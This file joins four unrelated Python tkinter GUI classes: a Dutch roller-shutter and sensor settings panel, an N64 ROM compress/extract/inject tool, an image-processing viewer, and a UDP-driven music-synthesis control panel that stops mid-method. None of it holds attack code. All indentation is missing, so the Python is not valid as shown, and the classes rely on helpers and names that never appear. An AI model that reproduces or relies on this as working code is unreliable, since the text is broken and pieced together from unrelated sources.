class Properties(MyFrame):
def __init__(self, sensors, aansturingen, nb):
super().__init__(nb, "Properties")
#lijst van sensorblok objecten.
self.knoplijst = []
#kopie lijst van aangesloten modules.
self.sensors = sensors.copy()
self.aansturingen = aansturingen.copy()
self.waardeoption = StringVar(self)
self.waardeoption.set("Selecteer motor module")
self.aansturing_id = ''
self.updownlength = 5
#Maakt optiemenu voor aansturingen aan.
self.optiemenu(self.aansturingen)
rolluiktitel = Label(self,
text="Selecteer een rolluik:",
background='white')
rolluiktitel.grid(row=0, column=0, columnspan=1, padx=1, pady=5)
rolluiktitel.config(font=("Times new roman", 14, "bold"))
hernoemtitel = Label(self,
text="Hernoem de module:",
background='white')
hernoemtitel.grid(row=2, column=0, columnspan=1, pady=2)
hernoemtitel.config(font=("Times new roman", 12))
self.hernoemen = Entry(self)
self.hernoemen.grid(row=2, column=12, columnspan=1, padx=20, pady=1)
onzichtbaar = Label(self, text="", background='white')
onzichtbaar.grid(row=3, column=0, columnspan=1, pady=2)
autotitel = Label(self,
text="Automatische besturing:",
background='white')
autotitel.grid(row=5, column=0, columnspan=1, pady=2)
autotitel.config(font=("Times new roman", 12, "bold"))
downtimertitel = Label(self, text="Omlaagtijd:", background='white')
downtimertitel.grid(row=6, column=0, columnspan=1, pady=1)
downtimertitel.config(font=("Times new roman", 12))
self.down = Entry(self, validate="key")
self.down.grid(row=6, column=12, columnspan=1, padx=1, pady=1)
self.down['validatecommand'] = (self.down.register(self.testupdown),
'%P', '%d')
uptimertitel = Label(self, text="Omhoogtijd:", background='white')
uptimertitel.grid(row=7, column=0, columnspan=1, pady=1)
uptimertitel.config(font=("Times new roman", 12))
self.up = Entry(self, validate="key")
self.up.grid(row=7, column=12, columnspan=1, padx=1, pady=1)
self.up['validatecommand'] = (self.up.register(self.testupdown), '%P',
'%d')
timerformatlabel = Label(self,
text="Format: hh:mm ",
background='white')
timerformatlabel.grid(row=8, column=12, columnspan=1, sticky='w')
self.sensortitel = Label(self,
text='Uitrollen als: ',
background='white')
self.sensortitel.grid(row=0, column=80, columnspan=1, padx=1, pady=5)
self.sensortitel.config(font=("Times new roman", 14))
self.sensortitel2 = Label(self, text='Aan/Uit', background='white')
self.sensortitel2.grid(row=0, column=120, columnspan=1, padx=1, pady=5)
self.sensortitel2.config(font=("Times new roman", 14))
self.okbutton = Button(self, text="Opslaan", command=self.savesettings)
self.okbutton.grid(row=50, column=120, columnspan=1, padx=1, pady=5)
self.bouwsensorblok(self.sensors)
waardelimiet = Label(self,
text="*Max temp = 99°C, Max Lux = 9999.",
background='white')
waardelimiet.grid(row=700, column=0, columnspan=1, padx=1, pady=5)
waardelimiet.config(font=("Times new roman", 11))
uitleg = Label(
self,
text=
"* indien gebruiken niet is aangevinkt:\n instelling verwijderd voor aansturing.",
background='white')
uitleg.grid(row=701, column=0, columnspan=1, padx=1, pady=5)
uitleg.config(font=("Times new roman", 11))
#vult knoplijst met sensorobjecten, deze objecten bevatten de invulvelden.
def bouwsensorblok(self, sensors):
i = 0 # wordt gebruikt voor het itereren door de sensors lijst en om de rijen aan te passen waarop de invulvelden staan.
while i < len(sensors):
self.knoplijst.append(sensorblok(self, self.sensors[i], i + 1))
i += 1
#maakt het optiemenu voor het aansturingsmodule aan.
def optiemenu(self, aansturingen):
if len(aansturingen) == 0:
self.x = ["Sluit een motormodule aan"]
else:
self.x = []
for instantie in aansturingen:
self.x.append(instantie.name)
self.waardeoption.set("Selecteer motor module")
self.selecteermotor = OptionMenu(
self,
self.waardeoption,
*self.x,
)
self.selecteermotor.grid(row=1, column=0, columnspan=1, padx=1, pady=1)
#wordt vanuit de mainloop aangeroepen, dit zorgt voor het weergeven van verandering in aangesloten sensoren/aansturingen.
def update(self, aansturingen, sensors):
if aansturingen == self.aansturingen and sensors == self.sensors:
return
else:
self.aansturingen = aansturingen.copy()
self.sensors = sensors.copy()
for instantie in self.knoplijst:
instantie.deletewidgets()
if self.selecteermotor:
self.selecteermotor.destroy()
self.bouwsensorblok(sensors)
self.optiemenu(aansturingen)
#Hiermee worden de ingevulde waardes per sensor toegevoegd aan de .json file.
#Dit gebeurt bij de geselecteerde aansturingsmodule.
#Ook worden er errorbox aangemaakt indien er geen sensor is aangesloten of er geen aansturing is.
#Ook is het hernoemen van de aansturingsmodule hierin verwerkt.
def savesettings(self):
settings = settings_editor.readSettings()
for A in self.aansturingen:
if str(self.waardeoption.get()
) == A.name: #zoeken vanaf aansturing naam > aansturing id.
self.aansturing_id = A.id
if len(self.hernoemen.get()) > 0:
settings['aansturingen'][
self.aansturing_id]['name'] = self.hernoemen.get()
settings_editor.writeSettings(settings)
if len(self.up.get()) == 5 and len(self.down.get()) == 5:
settings['aansturingen'][
self.aansturing_id]['down'] = self.down.get()
settings_editor.writeSettings(settings)
settings['aansturingen'][
self.aansturing_id]['up'] = self.up.get()
settings_editor.writeSettings(settings)
#schrijf en delete .json file entrys opbasis van aangevinkte checkbox en volledig ingevuld.
for x in self.knoplijst:
try:
if x.checkboxwaarde.get() == 1 and len(
x.sensorwaardeblok.get()) > 0:
settings['aansturingen'][
self.aansturing_id]['sensor_value'][
x.sensor.id] = x.functiewaardeblokwaarde + str(
float(x.sensorwaardeblok.get()))
else:
del settings['aansturingen'][
self.aansturing_id]['sensor_value'][x.sensor.id]
except KeyError:
pass
settings_editor.writeSettings(settings)
#invul limiet automatische besturing
def testupdown(self, inStr, acttyp):
if len(inStr) > self.updownlength:
return False
else:
return True
class ROMToolGUI:
def __init__(self, master):
self.master = master
master.title("petrie's Happy Fun Time ROM Tool")
master.wm_iconbitmap(os.getcwd() + "/eyeballfrog.ico")
#Handle initialization of directories
if (os.path.isfile(os.getcwd() + '/settings.ini')):
settingsfile = open(os.getcwd() + '/settings.ini', 'r')
settings = settingsfile.readlines()
settingsfile.close()
self.initarray = [x.rstrip() for x in settings]
else:
self.initarray = ['./', './', './', './', './']
[self.EngToDebug, self.DebugToEng] = ROMtools.makeDEdict()
#set up notebook tabs
self.Tabs = ttk.Notebook(master)
self.CompFrame = ttk.Frame(self.Tabs)
self.DecompFrame = ttk.Frame(self.Tabs)
self.ExtractFrame = ttk.Frame(self.Tabs)
self.InjectFrame = ttk.Frame(self.Tabs)
self.Tabs.add(self.InjectFrame, text='Inject Files')
self.Tabs.add(self.ExtractFrame, text='Extract Files')
self.Tabs.add(self.CompFrame, text='Compress ROM')
self.Tabs.add(self.DecompFrame, text='Decompress ROM')
self.Tabs.grid(row=1, column=0, columnspan=4)
self.close_button = Button(master, text="Done", command=master.destroy)
self.close_button.grid(column=1, row=2, pady=10, columnspan=2)
self.master = master
#ROM compression frame
self.compROMlabel = Label(self.CompFrame,
text="Decompressed ROM:",
width=30)
self.compROMlabel.grid(row=0, column=0, columnspan=1, pady=10)
self.compROMtext = StringVar(master=self.master)
self.compROMtext.set("No ROM selected")
self.compROMname = Label(self.CompFrame,
textvariable=self.compROMtext,
width=30,
wraplength=150)
self.compROMname.grid(row=1, column=0, columnspan=1, pady=10)
self.compROMtypelabel = Label(self.CompFrame, text="ROM type:")
self.compROMtypelabel.grid(row=0, column=1, columnspan=1, pady=10)
self.compROMtype = StringVar(master=self.master)
self.compROMtype.set("")
self.compROMtypedisp = Label(self.CompFrame,
textvariable=self.compROMtype)
self.compROMtypedisp.grid(row=1, column=1, columnspan=2, pady=10)
self.compROMpath = ""
self.selectcompROM = Button(self.CompFrame,
text="Select ROM",
command=self.setcompROM)
self.selectcompROM.grid(row=2, column=0, pady=10)
self.comp_button = Button(self.CompFrame,
text="Compress",
command=self.compress,
state='disabled')
self.comp_button.grid(row=2, column=1, pady=10)
#ROM decompression frame
self.decompROMlabel = Label(self.DecompFrame,
text="Compressed ROM:",
width=30)
self.decompROMlabel.grid(row=0, column=0, columnspan=1, pady=10)
self.decompROMtext = StringVar(master=self.master)
self.decompROMtext.set("No ROM selected")
self.decompROMname = Label(self.DecompFrame,
textvariable=self.decompROMtext,
width=30,
wraplength=150)
self.decompROMname.grid(row=1, column=0, columnspan=1, pady=10)
self.decompROMtable = StringVar(master=self.master)
self.decompROMtable.set("")
self.decompROMtablelabel = Label(self.DecompFrame,
textvariable=self.decompROMtable,
width=20)
self.decompROMtablelabel.grid(row=0, column=1, columnspan=1, pady=10)
self.decompROMfiles = StringVar(master=self.master)
self.decompROMfiles.set("")
self.decompROMfiledisp = Label(self.DecompFrame,
textvariable=self.decompROMfiles)
self.decompROMfiledisp.grid(row=1, column=1, columnspan=2, pady=10)
self.decompROMpath = ""
self.selectdecompROM = Button(self.DecompFrame,
text="Select ROM",
command=self.setdecompROM)
self.selectdecompROM.grid(row=2, column=0, pady=10)
self.decomp_button = Button(self.DecompFrame,
text="Decompress",
command=self.decompress,
state='disabled')
self.decomp_button.grid(row=2, column=1, pady=10)
#File Extraction frame
self.extractROMlabel = Label(self.ExtractFrame,
text="Source ROM:",
width=25)
self.extractROMlabel.grid(row=0, column=0, columnspan=1, pady=10)
self.extractROMtext = StringVar(master=self.master)
self.extractROMtext.set("No ROM selected")
self.extractROMname = Label(self.ExtractFrame,
textvariable=self.extractROMtext,
width=25,
wraplength=150)
self.extractROMname.grid(row=1, column=0, columnspan=1, pady=10)
self.extractROMpath = ""
self.selectdecompROM = Button(self.ExtractFrame,
text="Select ROM",
command=self.setextractROM)
self.selectdecompROM.grid(row=3, column=0, pady=10)
self.extractROMtypelabel = Label(self.ExtractFrame, text="ROM type:")
self.extractROMtypelabel.grid(row=0, column=1, columnspan=1, pady=10)
self.extractROMtype = StringVar(master=self.master)
self.extractROMtype.set("")
self.extractROMtypedisp = Label(self.ExtractFrame,
textvariable=self.extractROMtype)
self.extractROMtypedisp.grid(row=1, column=1, pady=10)
self.extract_button = Button(self.ExtractFrame,
text="Extract",
command=self.extract,
state='disabled')
self.extract_button.grid(row=3, column=2, pady=20)
self.extractnameslabel = Label(self.ExtractFrame,
text="Scene Names",
width=25)
self.extractnameslabel.grid(row=0, column=2, pady=10)
self.extractnames = IntVar(master=self.master)
self.extractR1 = Radiobutton(self.ExtractFrame,
text="English",
variable=self.extractnames,
value=0)
self.extractR1.grid(column=2, row=1)
self.extractR2 = Radiobutton(self.ExtractFrame,
text="Debug",
variable=self.extractnames,
value=1)
self.extractR2.grid(column=2, row=2)
#File Injection frame
self.injectROMlabel = Label(self.InjectFrame,
text="Host ROM:",
width=20)
self.injectROMlabel.grid(row=0, column=0, columnspan=1, pady=10)
self.injectROMtext = StringVar(master=self.master)
self.injectROMtext.set("No ROM selected")
self.injectROMname = Label(self.InjectFrame,
textvariable=self.injectROMtext,
width=20,
wraplength=150)
self.injectROMname.grid(row=1, column=0, pady=10)
self.injectROMpath = ""
self.selectinjectROM = Button(self.InjectFrame,
text="Select ROM",
command=self.setinjectROM)
self.selectinjectROM.grid(row=3, column=0, pady=10)
self.injectROMlabel = Label(self.InjectFrame,
text="File Directory:",
width=20)
self.injectROMlabel.grid(row=0, column=1, pady=10)
self.injectfoldertext = StringVar(master=self.master)
self.injectfoldertext.set("No directory selected")
self.injectfoldername = Label(self.InjectFrame,
textvariable=self.injectfoldertext,
width=20,
wraplength=150)
self.injectfoldername.grid(row=1, column=1, pady=10)
# self.injectROMtypelabel = Label(self.InjectFrame,text = "ROM type:",width = 20)
# self.injectROMtypelabel.grid(row = 0, column = 2, columnspan = 1,pady = 10)
self.injectROMtypelabel = StringVar(master=self.master)
self.injectROMtype = ""
self.injectROMtypelabel.set("")
self.injectROMtypedisp = Label(self.InjectFrame,
textvariable=self.injectROMtypelabel)
self.injectROMtypedisp.grid(row=2, column=0, pady=10)
self.injectroomstartlabel = Label(self.InjectFrame,
text="Boot to scene:")
self.injectroomstartlabel.grid(row=0, column=2, columnspan=1, pady=10)
self.bootscene = StringVar(master=self.master)
self.sceneopts = ['Title Screen']
self.bootscene.set('Title Screen')
self.scenedict = {}
self.scenemenu = OptionMenu(self.InjectFrame, self.bootscene,
*self.sceneopts)
self.scenemenu.config(width=15)
self.scenemenu.grid(row=1, column=2, pady=10)
self.roomnum = StringVar(master=self.master)
self.rooment = Entry(self.InjectFrame,
textvariable=self.roomnum,
exportselection=0)
self.rooment.grid(row=2, column=2, pady=10)
self.injectfolderpath = ""
self.selectinjectfolder = Button(self.InjectFrame,
text="Directory",
command=self.setinjectfolder)
self.selectinjectfolder.grid(row=3, column=1, pady=10)
self.injectnames = IntVar(master=self.master)
self.injectnamescheck = Checkbutton(self.InjectFrame,
text="Debug names",
variable=self.injectnames)
self.injectnamescheck.grid(row=2, column=1)
self.inject_button = Button(self.InjectFrame,
text="Inject",
command=self.inject,
state='disabled')
self.inject_button.grid(row=3, column=2, pady=10)
def storesettings(self):
settingsfile = open(os.getcwd() + '/settings.ini', 'w')
settings = [x + '\n' for x in self.initarray]
settingsfile.writelines(settings)
settingsfile.close()
def compress(self):
self.comp_button.configure(state='disabled')
spath = filedialog.asksaveasfilename(filetypes=(("N64 ROM files",
"*.z64"),
("All files", "*.*")),
initialdir=self.initarray[0])
if (len(spath) == 0):
self.comp_button.configure(state='normal')
return -1
if (self.compROMtype.get() == 'Unknown'):
popupmsg(
'Warning',
'Using default compression for unknown ROM. This may cause errors.'
)
ROMtools.compress(self.compROMpath, spath)
popupmsg('Success', 'ROM compressed.')
self.comp_button.configure(state='normal')
def setcompROM(self):
rpath = filedialog.askopenfilename(filetypes=(("N64 ROM files",
"*.z64"), ("All files",
"*.*")),
initialdir=self.initarray[0])
if (len(rpath) > 0):
self.compROMpath = rpath
self.initarray[0] = os.path.dirname(self.compROMpath)
self.storesettings()
self.compROMtext.set(os.path.basename(self.compROMpath))
self.comp_button.configure(state='normal')
self.compROMtype.set(ROMtools.findROMtype(self.compROMpath)[0])
def decompress(self):
self.decomp_button.configure(state='disabled')
spath = filedialog.asksaveasfilename(filetypes=(("N64 ROM files",
"*.z64"),
("All files", "*.*")),
initialdir=self.initarray[1])
if (len(spath) == 0):
self.decomp_button.configure(state='normal')
return -1
ROMtools.decompress(self.decompROMpath, spath)
popupmsg('Success', 'ROM decompressed.')
self.decomp_button.configure(state='normal')
def setdecompROM(self):
rpath = filedialog.askopenfilename(filetypes=(("N64 ROM files",
"*.z64"), ("All files",
"*.*")),
initialdir=self.initarray[1])
if (len(rpath) > 0):
self.decompROMpath = rpath
self.initarray[1] = os.path.dirname(self.decompROMpath)
self.storesettings()
self.decompROMtext.set(os.path.basename(self.decompROMpath))
self.decomp_button.configure(state='normal')
ROMtype = ROMtools.findROMtype(self.decompROMpath)
self.decompROMtable.set('File table at 0x' +
'{0:X}'.format(ROMtype[1]))
self.decompROMfiles.set('Number of files: ' + str(ROMtype[2]))
def setextractROM(self):
rpath = filedialog.askopenfilename(filetypes=(("N64 ROM files",
"*.z64"), ("All files",
"*.*")),
initialdir=self.initarray[2])
if (len(rpath) > 0):
self.extractROMpath = rpath
self.initarray[2] = os.path.dirname(self.extractROMpath)
self.storesettings()
self.extractROMtext.set(os.path.basename(self.extractROMpath))
self.extract_button.configure(state='normal')
self.extractROMtype.set(
ROMtools.findROMtype(self.extractROMpath)[0])
def extract(self):
self.extract_button.configure(state='disabled')
spath = filedialog.askdirectory(initialdir=self.initarray[2])
if (len(spath) == 0):
self.extract_button.configure(state='normal')
return -1
status = ROMtools.extractall(self.extractROMpath, spath,
self.extractnames.get())
if (status == -1):
popupmsg('Error', 'This ROM type is currently not supported.')
if (status == -2):
popupmsg('Error', 'ROM info file does not match ROM.')
else:
popupmsg('Success', 'Files Extracted.')
self.extract_button.configure(state='normal')
def setinjectROM(self):
rpath = filedialog.askopenfilename(filetypes=(("N64 ROM files",
"*.z64"), ("All files",
"*.*")),
initialdir=self.initarray[3])
if (len(rpath) > 0):
self.injectROMpath = rpath
self.initarray[3] = os.path.dirname(self.injectROMpath)
self.storesettings()
self.injectROMtype = ROMtools.findROMtype(self.injectROMpath)[0]
self.injectROMtypelabel.set("ROM type: " + self.injectROMtype)
self.injectROMtext.set(os.path.basename(self.injectROMpath))
[scenes,
self.scenedict] = ROMtools.makescenedict(self.injectROMtype)
self.sceneopts = [(self.DebugToEng[x]).replace('_', ' ')
for x in scenes]
self.scenemenu.destroy()
self.bootscene.set('Title Screen')
self.scenemenu = OptionMenu(self.InjectFrame, self.bootscene,
'Title Screen', *self.sceneopts)
self.scenemenu.config(width=15)
self.scenemenu.grid(row=1, column=2, pady=10)
if (len(self.injectfolderpath) > 0):
self.inject_button.configure(state='normal')
def setinjectfolder(self):
spath = filedialog.askdirectory(initialdir=self.initarray[4])
if (len(spath) > 0):
self.injectfolderpath = spath
self.initarray[4] = spath
self.storesettings()
ind = spath.rfind('/') + 1
self.injectfoldertext.set(spath[ind:])
if (len(self.injectROMpath) > 0):
self.inject_button.configure(state='normal')
def inject(self):
self.inject_button.configure(state='disabled')
status = ROMtools.injectall(self.injectROMpath, self.injectfolderpath,
self.injectnames.get())
if (status == -1):
popupmsg('Error', 'This ROM type is currently not supported.')
elif (status == -2):
popupmsg('Error', 'ROM info file does not match ROM.')
elif (status == -3):
popupmsg(
'Error',
'Injected file table does not match ROM file table.\nCheck your ROM version.'
)
elif (self.bootscene.get() == 'Title Screen'):
print('Skipping')
#ROMtools.fixboot(self.injectROMpath)
elif (not (self.roomnum.get().isnumeric())):
popupmsg(
'Warning',
'Files injected.\nHowever, starting room number was invalid.')
ROMtools.fixboot(self.injectROMpath)
else:
scenename = self.EngToDebug[self.bootscene.get().replace(' ', '_')]
roomnum = int(self.roomnum.get())
ent = ROMtools.EntranceDict.get(scenename, 'Unknown')
if (ent == 'Unknown'):
popupmsg(
'Warning',
'Files injected.\nHowever, booting to the chosen scene is currently unsupported.'
)
ROMtools.fixboot(self.injectROMpath)
self.inject_button.configure(state='normal')
return
status = ROMtools.loadtoroom(self.injectROMpath,
ROMtools.EntranceDict.get(scenename),
self.scenedict.get(scenename),
roomnum)
if (status == -1):
popupmsg(
'Warning',
'Files injected.\nHowever, booting to scenes with multiple setups currently unsupported'
)
ROMtools.fixboot(self.injectROMpath)
elif (status == -2):
popupmsg(
'Warning',
'Files injected.\nHowever, the boot modifier did not recognize the ROM. This error should be impossible.'
)
ROMtools.fixboot(self.injectROMpath)
elif (status == -3):
popupmsg(
'Warning',
'Files injected.\nHowever, the room index was out of range.'
)
ROMtools.fixboot(self.injectROMpath)
self.inject_button.configure(state='normal')
class Window:
def __init__(self):
self.root = Tk()
self.root.title("Image Processing")
self.image_frame = Frame(self.root)
self.canvas = Canvas(self.image_frame)
self.canvas.pack()
self.options_frame = Frame(self.root)
self.options_frame.pack(side='top')
self.image_frame.pack()
self.image = None
self.image_processor = ImageProcessor
self.tkImage = None
self.mode = 'none'
self.current_option = "Reset Image"
self.create_menu_bar()
self.root.after(100, self.run_top_level_windows)
self.root.mainloop()
def run_top_level_windows(self):
"""
Creates top level window which describes the application's function to the user.
:return: None
"""
self.root.withdraw()
top = Toplevel()
top.title("About image processing application.")
message = Message(
top,
text=
"This application is used to process image files. Begin by hitting Open Image "
"under Options on the title bar and entering the name of a file stored in the "
"images folder.",
width=300)
message.pack()
def button_hit():
"""
Actions for when the continue button on the top level window is hit.
:return: None
"""
top.destroy()
self.root.deiconify()
w, h = self.root.winfo_screenwidth(), self.root.winfo_screenheight(
)
self.root.geometry("%dx%d+0+0" % (w, h))
button = Button(top, text='continue', command=button_hit)
button.pack()
def create_menu_bar(self):
"""
Adds items to the title bar at the top left of the screen. The user can use these to switch between different
functions of the application or to exit.
:return: None
"""
self.menubar = Menu(self.root)
# create a pulldown menu, and add it to the menu bar
self.option_menu = Menu(self.menubar, tearoff=0)
self.option_menu.add_command(label="Open Image",
command=self.open_image_option)
self.option_menu.add_command(label="Image Processing",
command=self.image_processing_option)
self.option_menu.add_separator()
self.option_menu.add_command(label="Save", command=self.save)
self.option_menu.add_command(label="Exit", command=quit)
self.menubar.add_cascade(label="Options", menu=self.option_menu)
self.root.config(menu=self.menubar)
def open_image_option(self):
"""
Actions taken when user selects to open an image in the application.
:return: None
"""
self.cleanup_option_frame()
self.mode = 'open image'
self.entry = Entry(self.options_frame)
self.entry.pack(side='left')
def set_image():
"""
Sets the application to the user's selected image
:return: None
"""
self.set_image(self.entry.get())
self.cleanup_option_frame()
self.mode = 'none'
self.get_image_button = Button(self.options_frame,
text="Get Image",
command=set_image)
self.get_image_button.pack(side='left')
def image_processing_option(self):
"""
Actions when user selects the image processing option. Allows user to change between and execute the different
image processing operations.
:return: None
"""
self.cleanup_option_frame()
if self.image is None:
return
self.mode = 'image processing'
self.var = StringVar(self.options_frame)
self.var.set("Reset Image")
self.options = OptionMenu(self.options_frame, self.var, "Reset Image",
"Tint Color", "Trace Edges", "Re-size",
"Grayscale", "Black and White",
"Change Saturation", "Invert Color",
"Average Color", "Sepia Tone")
self.options.pack(side="left")
def option_selected(*_):
"""
Switches to the type of image processing that the user selected.
:param _: Unused parameter, necessary to make function a callback for a Stringvar.
:return: None
"""
self.cleanup_image_processing_options()
if self.var.get() == "Reset Image":
self.current_option = "Reset Image"
self.image_processor.reset_image()
self.update_image()
elif self.var.get() == "Tint Color":
self.current_option = "Tint Color"
self.var2 = StringVar(self.options_frame)
self.var2.set("Red")
self.color_options = OptionMenu(self.options_frame, self.var2,
"Red", "Orange", "Yellow",
"Green", "Blue", "Cyan",
"Magenta", "Violet")
self.color_options.pack(side='left')
def change_color(*_):
"""
Tints the image the color that the user selects.
:param _: Unused. Necessary to make function a callback function
:return:
"""
self.image_processor.color_filter(self.var2.get())
self.update_image()
self.var2.trace('w', change_color)
elif self.var.get() == "Trace Edges":
self.current_option = "Trace Edges"
self.image_processor.edge_detection()
self.update_image()
elif self.var.get() == "Re-size":
self.current_option = "Re-size"
self.scale = Scale(self.options_frame,
from_=.1,
to=3,
orient=HORIZONTAL,
resolution=.1)
self.scale.pack(side='left')
def resize():
"""
Re-sizes image by multiplying the dimensions by the user's input scale factor.
:return: None
"""
self.image_processor.resize(self.scale.get())
self.update_image()
self.scale_button = Button(self.options_frame,
text='Scale',
command=resize)
self.scale_button.pack(side='left')
elif self.var.get() == "Grayscale":
self.current_option = "Grayscale"
self.image_processor.convert_to_grayscale()
self.update_image()
elif self.var.get() == "Black and White":
self.current_option = "Black and White"
self.image_processor.convert_to_black_and_white()
self.update_image()
elif self.var.get() == "Change Saturation":
self.current_option = "Change Saturation"
self.scale = Scale(self.options_frame,
from_=0,
to=2,
orient=HORIZONTAL,
resolution=.1)
self.scale.pack(side='left')
def change_saturation():
"""
Modifies the saturation by the user's input modification factor.
:return: None
"""
self.image_processor.modify_saturation(self.scale.get())
self.update_image()
self.scale_button = Button(self.options_frame,
text="Change Saturation",
command=change_saturation)
self.scale_button.pack()
elif self.var.get() == "Invert Color":
self.current_option = "Invert Color"
self.image_processor.invert_colors()
self.update_image()
elif self.var.get() == "Average Color":
self.current_option = "Average Color"
self.image_processor.average_pixel_color()
self.update_image()
elif self.var.get() == "Sepia Tone":
self.current_option = "Sepia Tone"
self.image_processor.sepia_tone()
self.update_image()
self.var.trace("w", option_selected)
def cleanup_option_frame(self):
"""
Removes widgets from option frame.
:return: None
"""
if self.mode == "open image":
self.entry.destroy()
self.get_image_button.destroy()
elif self.mode == "image processing":
self.options.destroy()
self.cleanup_image_processing_options()
def cleanup_image_processing_options(self):
"""
Removes widgets used for specific image processing options.
:return: None
"""
if self.current_option == "Tint Color":
self.color_options.destroy()
elif self.current_option == "Re-size" or self.current_option == "Change Saturation":
self.scale.destroy()
self.scale_button.destroy()
def set_image(self, name):
"""
Loads image from file in the images/ folder.
:param name: name of file as a String.
:return: None
"""
try:
self.image = Image.open("images/" + name)
except:
return
self.image_processor = ImageProcessor(self.image)
self.image_processor.fit_to_screen(self.root.winfo_screenwidth(),
self.root.winfo_screenheight())
self.update_image()
def save(self):
"""
Save current image in images/ folder with the name output.jpg
:return: None
"""
self.image.save("images/output.jpg")
def update_image(self):
"""
Updates the application to display the current image from the ImageProcessor object.
:return: None
"""
self.image = self.image_processor.image
self.tkImage = ImageTk.PhotoImage(self.image)
self.update_canvas()
def update_canvas(self):
"""
Updates canvas. Do not call directly, instead call update_image.
:return: None
"""
self.canvas.delete(ALL)
self.canvas.configure(width=self.image.size[0],
height=self.image.size[1])
self.canvas.create_image(0, 0, image=self.tkImage, anchor=NW)
self.canvas.update()
class Application(Frame):
def __init__(self, master=None):
Frame.__init__(self, master)
self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.send_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.sock.bind((host, port))
self.grid()
self.columnconfigure(0, minsize=100)
self.columnconfigure(1, minsize=200)
self.columnconfigure(2, minsize=200)
self.columnconfigure(3, minsize=150)
self.columnconfigure(4, minsize=150)
self.columnconfigure(5, minsize=150)
self.columnconfigure(6, minsize=150)
self.create_widgets()
self.settables = self.assemble_settables()
self.gui_logger = logging.getLogger('gui')
self.request_update()
def create_widgets(self):
self.create_monitor()
self.create_check_buttons()
self.create_ranges()
self.create_scales()
self.create_radio_buttons()
self.create_voices()
self.quitButton = Button(self, text='Quit', command=self.quit)
self.quitButton.grid(columnspan=7, sticky=E + W)
def assemble_settables(self):
settables = self.winfo_children()
for w in settables:
settables += w.winfo_children()
return [w for w in settables if w.__class__.__name__ in ['Scale', 'Checkbutton']]
def create_radio_buttons(self):
# Scale related
entries = ['DIATONIC', 'HARMONIC', 'MELODIC', 'PENTATONIC', 'PENTA_MINOR',
'GREEK_CHROMATIC', 'GREEK_ENHARMONIC']
self.scale = StringVar()
self.scale.set('DIATONIC')
self.rb_frame = Frame(self)
for e in entries:
rb = Radiobutton(self.rb_frame, value=e, text=e, anchor=W,
command=self.send_scale, variable=self.scale)
rb.grid(row=len(self.rb_frame.winfo_children()), sticky=W)
self.rb_frame.grid(column=1, row=len(self.grid_slaves(column=1)), rowspan=3)
def create_monitor(self):
self.monitor_frame = LabelFrame(self, text="Monitor and Transport")
this_cycle = Scale(self.monitor_frame, label='cycle_pos', orient=HORIZONTAL,
from_=1, to=16, resolution=1)
this_cycle.disable, this_cycle.enable = (None, None)
this_cycle.ref = 'cycle_pos'
this_cycle.grid(column=0, row=0, sticky=E + W)
self.updateButton = Button(self.monitor_frame,
text='Reload all Settings',
command=self.request_update)
self.updateButton.grid(row=1, sticky=E + W)
self.ForceCaesuraButton = Button(self.monitor_frame,
text='Force Caesura',
command=self.force_caesura)
self.ForceCaesuraButton.grid(row=2, sticky=E + W)
self.saveBehaviourButton = Button(self.monitor_frame,
text='Save current behaviour',
command=self.request_saving_behaviour)
self.saveBehaviourButton.grid(row=3, sticky=E + W)
self.saveBehaviourNameEntry = Entry(self.monitor_frame)
self.saveBehaviourNameEntry.grid(row=4, sticky=E + W)
self.saveBehaviourNameEntry.bind('<KeyRelease>', self.request_saving_behaviour)
self.selected_behaviour = StringVar()
self.selected_behaviour.trace('w', self.new_behaviour_chosen)
self.savedBehavioursMenu = OptionMenu(self.monitor_frame,
self.selected_behaviour, None,)
self.savedBehavioursMenu.grid(row=5, sticky=E + W)
self.monitor_frame.grid(column=0, row=10, sticky=E + W)
def request_update(self):
self.send({'sys': 'update'})
def request_saving_behaviour(self, event=None):
"""callback for save behaviour button and textentry"""
if event and event.widget == self.saveBehaviourNameEntry:
if event.keysym == 'Return':
name = self.saveBehaviourNameEntry.get()
self.saveBehaviourNameEntry.delete(0, len(name))
else:
return
else: # button was pressed
name = self.saveBehaviourNameEntry.get()
if name:
self.send({'sys': ['save_behaviour', name]})
def force_caesura(self):
self.send({'force_caesura': True})
def create_voices(self):
voice_ids = ['1', '2', '3', '4']
SCALES = OrderedDict([
('pan_pos', {'min': -1, 'max': 1, 'start': 0.5, 'res': 0.001}),
('volume', {'min': 0, 'max': 1, 'start': 0.666, 'res': 0.001}),
('slide_duration_msecs', {'min': 0, 'max': 2000, 'start': 60, 'res': 1}),
('slide_duration_prop', {'min': 0, 'max': 2, 'start': 0.666, 'res': 0.001}),
('binaural_diff', {'min': 0, 'max': 66, 'start': 0.2, 'res': 0.01})
])
for vid in voice_ids:
counter = 0
for sca in SCALES:
name = 'voice_' + vid + '_' + sca
setattr(self, 'min_' + name, SCALES[sca]['min'])
setattr(self, 'max_' + name, SCALES[sca]['max'])
this_sca = Scale(self, label=sca, orient=HORIZONTAL,
from_=getattr(self, 'min_' + name),
to=getattr(self, 'max_' + name),
resolution=SCALES[sca]['res'])
this_sca.enable = ('enable' in list(SCALES[sca].keys()) and
SCALES[sca]['enable'] or None)
this_sca.disable = ('disable' in list(SCALES[sca].keys()) and
SCALES[sca]['disable'] or None)
this_sca.grid(column=int(2 + int(vid)), row=counter, sticky=E + W)
this_sca.bind("<ButtonRelease>", self.scale_handler)
this_sca.ref = name
counter += 1
CHECK_BUTTONS = OrderedDict(
[('mute', False),
('automate_binaural_diffs', True),
('automate_note_duration_prop', True),
('use_proportional_slide_duration', {'val': True, 'label': 'proportional slide'}),
('automate_pan', True),
('automate_wavetables', True)])
for vid in voice_ids:
counter = 0
cb_frame = LabelFrame(self, text="Voice {0} - Automation".format(vid))
setattr(self, 'voice_' + vid + '_cb_frame', cb_frame)
for cb in CHECK_BUTTONS:
options = CHECK_BUTTONS[cb]
name = 'voice_' + vid + '_' + cb
if isinstance(options, dict) and 'label' in list(options.keys()):
label = options['label']
else:
label = cb[9:] if cb[:9] == 'automate_' else cb
setattr(self, name, IntVar(
value=type(options) == dict and options['val'] or options))
self.this_cb = Checkbutton(cb_frame, text=label, variable=getattr(self, name))
self.this_cb.bind('<Button-1>', self.check_boxes_handler)
self.this_cb.disable = None
self.this_cb.grid(sticky=W, column=0, row=counter)
self.this_cb.ref = name
counter += 1
# add trigger wavetable-button
trigWavetableButton = Button(cb_frame, text='Next Wavetable')
